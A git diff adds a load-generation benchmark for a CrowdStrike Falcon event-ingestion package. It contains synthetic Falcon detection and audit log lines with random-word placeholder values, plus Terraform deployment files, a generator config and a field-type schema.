+{"metadata": {"customerIDString": "whichadvice","offset": -1321765314,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "howhand","UserIp": "24.249.233.17","OperationName": "revokeCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "everyonefun","ValueString": "fewbucket"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thoseperson"}}}
+{"metadata": {"customerIDString": "Greeklibrary","offset": -1336259380,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hisbale","HostnameField": "nobodyclump","UserName": "Honduranman","StartTimestamp": 1582830734,"AgentIdString": "enough ofshorts"}}
+{"metadata": {"customerIDString": "Intelligentbattery","offset": -1299002360,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thoseteam","DetectName": "theretroop","DetectDescription": "ship publicity grandmother food cello love cleverness week scold bill group window caravan packet ship tunnel damage cluster warmth vehicle leap group thesefood","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourtalent?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "Informational","Tactic": "thesepicture","Technique": "heavilydesk","Objective": "Elizabethanyouth","SourceAccountDomain": "eachline","SourceAccountName": "hurtgenetics","SourceAccountObjectSid": "happysedge","SourceEndpointAccountObjectGuid": "arrogantcare","SourceEndpointAccountObjectSid": "youroven","SourceEndpointHostName": "thereman","SourceEndpointIpAddress": "177.220.103.253","SourceEndpointSensorId": "Bahamianbrace","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "a littleimagination","PatternId": -2212633}}
+{"metadata": {"customerIDString": "substantialstring","offset": -1609727149,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "someoneoutfit","DataDomains": "Endpoint","Description": "table bag person goal blender problem world exaltation muster carpet confusion loss day horror neithercandle","DetectId": "foolishbale","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "218.24.83.17","HostNames": "openregiment","Name": "whichwildlife","PatternId": -201104283,"Severity": 98,"SourceProducts": "lightperson","SourceVendors": "neithermurder","StartTimeEpoch": 1643317697728000000,"TacticIds": "histroop","Tactics": "bluetrip","TechniqueIds": "howcheeks","Techniques": "ourunemployment","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "heavycloud","offset": 868105962,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "over theremilk","IncidentDescription": "slavery government host choker shower bunch company regiment stand whichyard","Severity": 16,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "improvisedgossip","UserName": "somebodycackle","EndpointName": "Afghandynasty","EndpointIp": "41.168.27.245","Category": "Detections","NumbersOfAlerts": 1873325904,"NumberOfCompromisedEntities": -1046634522,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekenvy?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "over theregovernment","offset": -1380987013,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "significantbravery","UserID": "Brazilianbale","ExecutionID": "cleverclass","ReportID": "cleanmovement","ReportName": "Machiavellianweather","ReportType": "theirvest","ReportFileReference": "Sammarineseweek","Status": "whereschool","StatusMessage": "herebasket","ExecutionMetadata": {"ExecutionStart": 1277318902,"ExecutionDuration": 791041518,"ReportFileName": "somebodytroupe","ResultCount": 1109023433,"ResultID": "over therecollection","SearchWindowStart": 1830057893,"SearchWindowEnd": 485142157}}}
+{"metadata": {"customerIDString": "helpfulblock","offset": -1146299184,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "severalday","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\couplecinema","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "bird shower tribe gas station block stairs zebra patience invention stand mybouquet","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whypeace?_cid=xxxxxxx","FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","FilesAccessed": [{"FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "muddyrange","FilePath": "hundredseye\\muddyrange","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\anythingfashion","GrandParentImageFileName": "itsbeach","GrandParentImageFilePath": "itpack\\itsbeach","HostGroups": "over theregun","Hostname": "hisadult","LocalIP": "98.65.93.34","LocalIPv6": "103.114.225.5","LogonDomain": "Balinesecovey","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Barcelonianboat","Name": "thatdelay","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1626519218,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "59.176.64.182","LocalPort": 87240,"Protocol": "itscoldness","RemoteAddress": "237.220.236.246","RemotePort": 58766}],"Objective": "whatchild","ParentCommandLine": "C:\\Windows\\terribleplace\\neithertime","ParentImageFileName": "neithertime","ParentImageFilePath": "numerousbrace\\neithertime","ParentProcessId": -1069921836,"PatternDispositionDescription": "board host pod nose crowd club envy sand growth help day week crowd way vest eye forest team computer divorce game whosecalm","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": true,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1278685248,"PatternId": 1360594552,"PlatformId": "thoseocean","PlatformName": "Linux","ProcessEndTime": 961474645,"ProcessId": -884132110,"ProcessStartTime": -505508776,"ReferrerUrl": "thesepunctuation","SHA1String": "thatposse","SHA256String": "herechild","Severity": 73,"SeverityName": "Critical","SourceProducts": "troublingmob","SourceVendors": "Koreanregiment","Tactic": "hergoodness","Technique": "theirline","Type": "ofp","UserName": "fraildisregard"}}
+{"metadata": {"customerIDString": "whyhumour","offset": -1741697306,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "ournose","PolicyId": -958451065,"PolicyStatement": "Vietnamesetroop","CloudProvider": "thesemurder","CloudService": "mypart","Severity": 31,"SeverityName": "Low","EventAction": "ourcourage","EventSource": "thathost","EventCreatedTimestamp": 1663011160,"UserId": "howleap","UserName": "Russianrice","UserSourceIp": "121.5.115.211","Tactic": "nobodydisregard","Technique": "eachyouth"}}
+{"metadata": {"customerIDString": "whathand","offset": 1933866810,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "ourlife","IncidentDescription": "juice board dolphin hishail","Severity": 26,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "whatfear","UserName": "doublegold","EndpointName": "ourbike","EndpointIp": "59.247.68.51","Category": "Incidents","NumbersOfAlerts": 943590548,"NumberOfCompromisedEntities": -281856154,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatclothing?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Jungianwork","offset": -1789365447,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "impossibletown","DetectName": "thoseworld","DetectDescription": "posse failure purse flock work stand pride mustering sheaf island pollution troop jealousy sand school wood company governor juice whereschool","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/numerouscash?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 40,"SeverityName": "Critical","Tactic": "nobodygrowth","Technique": "manygame","Objective": "franticquiver","SourceAccountDomain": "oddbunch","SourceAccountName": "franticparty","SourceAccountObjectSid": "whichcompany","SourceEndpointAccountObjectGuid": "everythingcrowd","SourceEndpointAccountObjectSid": "herehost","SourceEndpointHostName": "itsoutfit","SourceEndpointIpAddress": "161.46.200.9","SourceEndpointSensorId": "oneposse","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Diabolicalvest","PatternId": -30748192}}
+{"metadata": {"customerIDString": "Senegalesepeace","offset": 1534643744,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "herecurrency","UserIp": "45.126.100.46","OperationName": "activateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "anythingoutfit","ValueString": "singledollar"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "muchalbum"}}}
+{"metadata": {"customerIDString": "whosebus","offset": 1439241484,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "someonetribe","DetectName": "anygenetics","DetectDescription": "shoulder motherhood bunch kindness church team company fact team patrol thing Laotianoxygen","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Rooseveltiantolerance?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 82,"SeverityName": "Informational","Tactic": "wherespeed","Technique": "hisscold","Objective": "whichwad","SourceAccountDomain": "abundantdeer","SourceAccountName": "thosehatred","SourceAccountObjectSid": "howgovernment","SourceEndpointAccountObjectGuid": "annoyingcandy","SourceEndpointAccountObjectSid": "whichplace","SourceEndpointHostName": "eitherday","SourceEndpointIpAddress": "154.34.176.197","SourceEndpointSensorId": "greatbra","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Uzbekgoal","PatternId": 1496321780}}
+{"metadata": {"customerIDString": "thismotivation","offset": -326727255,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "scaryunderstanding","MobileDetectionId": 1666589603,"ComputerName": "ourfriend","UserName": "ourcompany","ContextTimeStamp": 1649061056,"DetectId": "Norwegianeducation","DetectName": "Sudaneseeye","DetectDescription": "horror wisdom labour pack bale sheaf bale freedom stand charmingshower","Tactic": "onecare","TacticId": "somebodycackle","Technique": "youngteam","TechniqueId": "Koreanhall","Objective": "wherekindness","Severity": 17,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/oneleap?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "anyteam","AndroidAppLabel": "Danishhen","DexFileHashes": "everysandwich","ImageFileName": "ourpack","AppInstallerInformation": "proudjewelry","IsBeingDebugged": false,"AndroidAppVersionName": "itsexaltation","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "hisyear","offset": -1448767478,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -980864626,"ProcessEndTime": -1044321077,"ProcessId": -294277730,"ParentProcessId": -1876307779,"ComputerName": "anypart","UserName": "manyproblem","DetectName": "a little bitmustering","DetectDescription": "problem whosebox","Severity": 0,"SeverityName": "Medium","FileName": "itshark","FilePath": "alldesigner\\itshark","CommandLine": "C:\\Windows\\mycrowd","SHA256String": "thosebouquet","MD5String": "everybodycatalog","SHA1String": "whosehand","MachineDomain": "thatworld","NetworkAccesses": [{"AccessType": 2121345305,"AccessTimestamp": 1751371565,"Protocol": "herfreedom","LocalAddress": "182.180.225.250","LocalPort": 22243,"RemoteAddress": "136.53.227.144","RemotePort": 24308,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Barcelonianbrother?_cid=xxxxxxx","SensorId": "hercrew","IOCType": "filename","IOCValue": "blackcloud","DetectId": "itinnocence","LocalIP": "106.206.227.215","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Russianpair","Technique": "theregold","Objective": "Buddhistriches","PatternDispositionDescription": "patience mob cast dishonesty packet gun sedge troop plate confusion problem party dream party union over therehorde","PatternDispositionValue": -74895917,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "Frenchleap","ParentCommandLine": "nobodyturtle","GrandparentImageFileName": "theirassistance","GrandparentCommandLine": "Koreanhost","HostGroups": "a lotwisp","AssociatedFile": "mycase","PatternId": 2106182774}}
+{"metadata": {"customerIDString": "thosetribe","offset": 2044247197,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "giftedbowl","State": "closed","FineScore": 6.2033996796056305,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "mostwashing machine","HostID": "everysuccess","LMHostIDs": ["somebodymustering"],"UserId": "thereedge"}}
+{"metadata": {"customerIDString": "Einsteiniancluster","offset": -1951395340,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Alpinegroup","Region": "us-west-2","ResourceId": "thisnature","ResourceIdType": "severalidea","ResourceName": "whatyear","ResourceCreateTime": 0,"PolicyStatement": "itstupidity","PolicyId": 2086215561,"Severity": 52,"SeverityName": "Low","CloudPlatform": "onehomework","CloudService": "whynews","Disposition": "Failed","ResourceUrl": "somebodybale","Finding": "hundrednoun","Tags": [{"Key": "brighttrust","ValueString": "Indonesianlibrary"}],"ReportUrl": "emptycheese","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "lightpride","offset": 864928643,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theirthought","CustomerId": "whosechild","Ipv": "176.54.115.87","CommandLine": "whosehelp","ConnectionDirection": "2","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "Swazifashion","ICMPCode": "hereparty","ICMPType": "amusedclump","ImageFileName": "thosegroup","LocalAddress": "192.163.185.149","LocalPort": "79090","MatchCount": -349549757,"MatchCountSinceLastReport": -2121487243,"NetworkProfile": "whoseclock","PID": "-60059955","PolicyName": "somebodyelegance","PolicyID": "stormyfact","Protocol": "whybook","RemoteAddress": "208.54.63.162","RemotePort": "18860","RuleAction": "cooperativecrew","RuleDescription": "anthology brilliance finger time point exaltation life man muster fleet hereorchard","RuleFamilyID": "theircatalog","RuleGroupName": "therehand","RuleName": "everypath","RuleId": "everybodyarmy","Status": "whichcloud","Timestamp": 1751371830,"TreeID": "over therewashing machine"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
new file mode 100644
index 0000000000..48d10519f0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
@@ -0,0 +1,5 @@
+resource "local_file" "benchmark_log" {
+  source          = "./files/sample.log"
+  filename        = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log"
+  file_permission = "0777"
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
new file mode 100644
index 0000000000..32d90dee64
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
@@ -0,0 +1,26 @@
+variable "BRANCH" {
+  description = "Branch name or pull request for tagging purposes"
+  default     = "unknown-branch"
+}
+
+variable "BUILD_ID" {
+  description = "Build ID in the CI for tagging purposes"
+  default     = "unknown-build"
+}
+
+variable "CREATED_DATE" {
+  description = "Creation date in epoch time for tagging purposes"
+  default     = "unknown-date"
+}
+
+variable "ENVIRONMENT" {
+  default = "unknown-environment"
+}
+
+variable "REPO" {
+  default = "unknown-repo-name"
+}
+
+variable "TEST_RUN_ID" {
+  default = "detached"
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml
new file mode 100644
index 0000000000..9b4c016deb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml
@@ -0,0 +1,22 @@
+---
+description: Benchmark 1000 falcon events ingested
+input: logfile
+deployer: tf
+data_stream:
+  name: falcon
+  vars:
+    paths:
+      - "{{SERVICE_LOGS_DIR}}/tf-benchmark-{{TEST_RUN_ID}}.log"
+warmup_time_period: 2s
+corpora:
+  input_service:
+    name: crowdstrike
+  generator:
+    total_events: 1000
+    template:
+      path: ./falcon-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./falcon-benchmark/config.yml
+    fields:
+      path: ./falcon-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml
new file mode 100644
index 0000000000..9bb3180c7d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml
@@ -0,0 +1,203 @@
+fields:
+# metadata
+  - name: metadata.eventType
+    enum:
+      - DetectionSummaryEvent
+      - EppDetectionSummaryEvent
+      - MobileDetectionSummaryEvent
+      - IncidentSummaryEvent
+      - XdrDetectionSummaryEvent
+      - IdpDetectionSummaryEvent
+      - ReconNotificationSummaryEvent
+      - IdentityProtectionEvent
+      - CSPMIOAStreamingEvent
+      - CSPMSearchStreamingEvent
+      - UserActivityAuditEvent
+      - AuthActivityAuditEvent
+      - FirewallMatchEvent
+      - RemoteResponseSessionStartEvent
+      - ScheduledReportNotificationEvent
+  - name: metadata.customerIDString
+    cardinality: 100000
+  - name: metadata.offset
+    cardinality: 100000
+  - name: timestamp
+    period: -24h
+
+# XdrDetectionSummaryEvent
+  - name: XdrType
+    enum:
+      - xdr
+      - xdr-scheduled-search
+
+# ReconNotificationSummaryEvent
+  - name: ItemType
+    enum:
+      - CS
+      - 6G
+      - 6G_EXTERNAL
+      - LEGACY_TI
+      - BREACH_6G
+      - SCRAPPY
+      - TYPOSQUATTING
+
+# MobileDetectionSummaryEvent
+  - name: DetectId
+    cardinality: 100000
+
+# CSPM
+  - name: Region
+    enum:
+      - us-west-1
+      - us-west-2
+      - us-east-1
+      - us-east-2
+  - name: Disposition
+    enum:
+      - Failed
+      - Passed
+
+# IncidentSummaryEvent
+  - name: IncidentState
+    enum:
+      - open
+      - closed
+  - name: FineScore
+    range:
+      min: 0.1
+      max: 10
+  - name: LateralMovement
+    range:
+      min: 0
+      max: 1
+  - name: IncidentType
+    range:
+      min: 1
+      max: 2
+# AuthActivityAuditEvent
+  - name: OperationName
+    enum:
+      - activateUser
+      - changePassword
+      - confirmResetPassword
+      - createUser
+      - deactivateUser
+      - deleteUser
+      - grantUserRoles
+      - grantCustomerSubscriptions
+      - requestResetPassword
+      - resetAuthSecret
+      - revokeUserRoles
+      - revokeCustomerSubscriptions
+      - selfAcceptEula
+      - twoFactorAuthenticate
+      - updateUser
+      - updateUserRoles
+      - userAuthenticate
+  - name: ServiceName
+    enum:
+      - Crowdstrike Streaming API
+      - detections
+# IdentityProtectionEvent
+  - name: Category
+    enum:
+      - Detections
+      - Incidents
+  - name: State
+    enum:
+      - NEW
+      - IN_PROGRESS
+      - DISMISS
+      - RESOLVED
+      - AUTO_RESOLVED
+
+# FirewallMatchEvent
+  - name: DeviceId
+    cardinality: 100000
+  - name: EventType
+    enum: 
+      - FirewallRuleIP4Matched
+      - FirewallRuleIP6Matched
+      - FirewallRuleApplicationFailed
+
+# DetectionSummaryEvent
+  - name: ComputerName
+    cardinality: 10000
+  - name: IOCType
+    enum:
+      - domain
+      - filename
+      - hash_md5
+      - hash_sha256
+      - registry_key
+      - command_line
+      - behavior
+
+# EppDetectionSummaryEvent
+  - name: AgentId
+    cardinality: 100000
+  - name: AggregateId
+    value: xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725
+  - name: CompositeId
+    value: xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104
+  - name: DataDomains
+    enum:
+      - Identity
+      - Web
+      - Network
+      - Email
+      - Endpoint
+      - Cloud
+      - IoT
+  - name: FileName
+    cardinality: 100000
+  - name: HostGroups
+    cardinality: 10000
+  - name: Hostname
+    cardinality: 100000
+  - name: MACAddress
+    value: ba-xx-00-xx-d0-00
+  - name: MD5String
+    cardinality: 100000
+  - name: NetworkAccesses.ConnectionDirection
+    range:
+      min: 0
+      max: 2
+  - name: NetworkAccesses.LocalPort
+    range:
+      min: 10
+      max: 90000
+  - name: NetworkAccesses.RemotePort
+    range:
+      min: 10
+      max: 90000
+  - name: NetworkAccesses.Protocol
+    enum:
+      - TCP
+      - UDP
+  - name: PlatformName
+    enum:
+      - Windows
+      - Linux
+      - Mac
+  - name: Severity
+    range:
+      min: 0
+      max: 100
+  - name: DetectionSeverity
+    range:
+      min: 0
+      max: 5
+  - name: SeverityName
+    enum:
+      - Informational
+      - Low
+      - Medium
+      - High
+      - Critical
+  - name: Type
+    enum:
+      - ldt
+      - ofp
+  - name: UserName
+    cardinality: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml
new file mode 100644
index 0000000000..4f8c2d7ddc
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml
@@ -0,0 +1,469 @@
+- name: metadata
+  type: group
+  fields:
+  - name: eventType
+    type: keyword
+  - name: customerIDString
+    type: keyword
+  - name: offset
+    type: integer
+- name: AgentId
+  type: keyword
+- name: AggregateId
+  type: keyword
+- name: CommandLine
+  type: keyword
+- name: CompositeId
+  type: keyword
+- name: DataDomains
+  type: keyword
+- name: Description
+  type: text
+- name: FalconHostLink
+  type: keyword
+- name: FileName
+  type: keyword
+- name: FilePath
+  type: keyword
+- name: GrandParentCommandLine
+  type: keyword
+- name: GrandParentImageFileName
+  type: keyword
+- name: GrandParentImageFilePath
+  type: keyword
+- name: HostGroups
+  type: keyword
+- name: Hostname
+  type: keyword
+- name: LocalIP
+  type: ip
+- name: LocalIPv6
+  type: ip
+- name: LogonDomain
+  type: keyword
+- name: MACAddress
+  type: keyword
+- name: MD5String
+  type: keyword
+- name: Name
+  type: keyword
+- name: NetworkAccesses
+  type: group
+  fields:
+  - name: AccessType
+    type: integer
+  - name: ConnectionDirection
+    type: integer
+  - name: IsIPV6
+    type: boolean
+  - name: LocalAddress
+    type: ip
+  - name: LocalPort
+    type: integer
+  - name: Protocol
+    type: keyword
+  - name: RemoteAddress
+    type: ip
+  - name: RemotePort
+    type: integer
+- name: Objective
+  type: keyword
+- name: ParentCommandLine
+  type: keyword
+- name: ParentImageFileName
+  type: keyword
+- name: ParentImageFilePath
+  type: keyword
+- name: ParentProcessId
+  type: integer
+- name: PatternDispositionDescription
+  type: text
+- name: PatternDispositionFlags
+  type: group
+  fields:
+  - name: BlockingUnsupportedOrDisabled
+    type: boolean
+  - name: BootupSafeguardEnabled
+    type: boolean
+  - name: ContainmentFileSystem
+    type: boolean
+  - name: CriticalProcessDisabled
+    type: boolean
+  - name: Detect
+    type: boolean
+  - name: FsOperationBlocked
+    type: boolean
+  - name: HandleOperationDowngraded
+    type: boolean
+  - name: InddetMask
+    type: boolean
+  - name: Indicator
+    type: boolean
+  - name: KillActionFailed
+    type: boolean
+  - name: KillParent
+    type: boolean
+  - name: KillProcess
+    type: boolean
+  - name: KillSubProcess
+    type: boolean
+  - name: OperationBlocked
+    type: boolean
+  - name: PolicyDisabled
+    type: boolean
+  - name: ProcessBlocked
+    type: boolean
+  - name: QuarantineFile
+    type: boolean
+  - name: QuarantineMachine
+    type: boolean
+  - name: RegistryOperationBlocked
+    type: boolean
+  - name: Rooting
+    type: boolean
+  - name: SensorOnly
+    type: boolean
+  - name: SuspendParent
+    type: boolean
+  - name: SuspendProcess
+    type: boolean
+- name: PatternDispositionValue
+  type: integer
+- name: PatternId
+  type: integer
+- name: PlatformId
+  type: keyword
+- name: PlatformName
+  type: keyword
+- name: ProcessEndTime
+  type: integer
+- name: ProcessId
+  type: integer
+- name: ProcessStartTime
+  type: integer
+- name: ReferrerUrl
+  type: keyword
+- name: SHA1String
+  type: keyword
+- name: SHA256String
+  type: keyword
+- name: Severity
+  type: integer
+- name: DetectionSeverity
+  type: integer
+- name: SeverityName
+  type: keyword
+- name: SourceProducts
+  type: keyword
+- name: SourceVendors
+  type: keyword
+- name: Tactic
+  type: keyword
+- name: Technique
+  type: keyword
+- name: Type
+  type: keyword
+- name: UserName
+  type: keyword
+- name: ComputerName
+  type: keyword
+- name: DetectName
+  type: keyword
+- name: DetectDescription
+  type: text
+- name: MachineDomain
+  type: keyword
+- name: SensorId
+  type: keyword
+- name: IOCType
+  type: keyword
+- name: IOCValue
+  type: keyword
+- name: DetectId
+  type: keyword
+- name: GrandparentImageFileName
+  type: keyword
+- name: GrandparentCommandLine
+  type: keyword
+- name: AssociatedFile
+  type: keyword
+- name: DeviceId
+  type: keyword
+- name: CustomerId
+  type: keyword
+- name: Ipv
+  type: ip
+- name: EventType
+  type: keyword
+- name: Flags
+  type: group
+  fields:
+  - name: Audit
+    type: boolean
+  - name: Log
+    type: boolean
+  - name: Monitor
+    type: boolean
+- name: HostName
+  type: keyword
+- name: ICMPCode
+  type: keyword
+- name: ICMPType
+  type: keyword
+- name: ImageFileName
+  type: keyword
+- name: MatchCount
+  type: integer
+- name: MatchCountSinceLastReport
+  type: integer
+- name: NetworkProfile
+  type: keyword
+- name: PID
+  type: integer
+- name: PolicyName
+  type: keyword
+- name: PolicyID
+  type: keyword
+- name: Protocol
+  type: keyword
+- name: RuleAction
+  type: keyword
+- name: RuleDescription
+  type: text
+- name: RuleFamilyID
+  type: keyword
+- name: RuleGroupName
+  type: keyword
+- name: RuleName
+  type: keyword
+- name: RuleId
+  type: keyword
+- name: Status
+  type: keyword
+- name: TreeID
+  type: keyword
+- name: SourceAccountDomain
+  type: keyword
+- name: SourceAccountName
+  type: keyword
+- name: SourceAccountObjectSid
+  type: keyword
+- name: SourceEndpointAccountObjectGuid
+  type: keyword
+- name: SourceEndpointAccountObjectSid
+  type: keyword
+- name: SourceEndpointHostName
+  type: keyword
+- name: SourceEndpointIpAddress
+  type: ip
+- name: SourceEndpointSensorId
+  type: keyword
+- name: ActivityId
+  type: keyword
+- name: IncidentType
+  type: integer
+- name: IdpIncidentType
+  type: keyword
+- name: IncidentDescription
+  type: text
+- name: IdentityProtectionIncidentId
+  type: keyword
+- name: EndpointName
+  type: keyword
+- name: EndpointIp
+  type: ip
+- name: Category
+  type: keyword
+- name: NumbersOfAlerts
+  type: integer
+- name: NumberOfCompromisedEntities
+  type: integer
+- name: State
+  type: keyword
+- name: IncidentState
+  type: keyword
+- name: UserId
+  type: keyword
+- name: UserIp
+  type: ip
+- name: OperationName
+  type: keyword
+- name: ServiceName
+  type: keyword
+- name: Success
+  type: boolean
+- name: AuditKeyValues
+  type: group
+  fields:
+  - name: Key
+    type: keyword
+  - name: ValueString
+    type: keyword
+- name: Attributes
+  type: group
+  fields:
+  - name: actor_cid
+    type: keyword
+  - name: actor_user
+    type: keyword
+  - name: actor_user_uuid
+    type: keyword
+  - name: app_id
+    type: keyword
+  - name: detection_id
+    type: keyword
+  - name: saml_assertion
+    type: keyword
+  - name: target_user
+    type: keyword
+  - name: trace_id
+    type: keyword
+- name: UserUUID
+  type: keyword
+- name: UserID
+  type: keyword
+- name: ExecutionID
+  type: keyword
+- name: ReportID
+  type: keyword
+- name: ReportName
+  type: keyword
+- name: ReportType
+  type: keyword
+- name: ReportFileReference
+  type: keyword
+- name: StatusMessage
+  type: keyword
+- name: ExecutionMetadata
+  type: group
+  fields:
+  - name: ExecutionStart
+    type: integer
+  - name: ExecutionDuration
+    type: integer
+  - name: ReportFileName
+    type: keyword
+  - name: ResultCount
+    type: integer
+  - name: ResultID
+    type: keyword
+  - name: SearchWindowStart
+    type: integer
+  - name: SearchWindowEnd
+    type: integer
+- name: SessionId
+  type: keyword
+- name: HostnameField
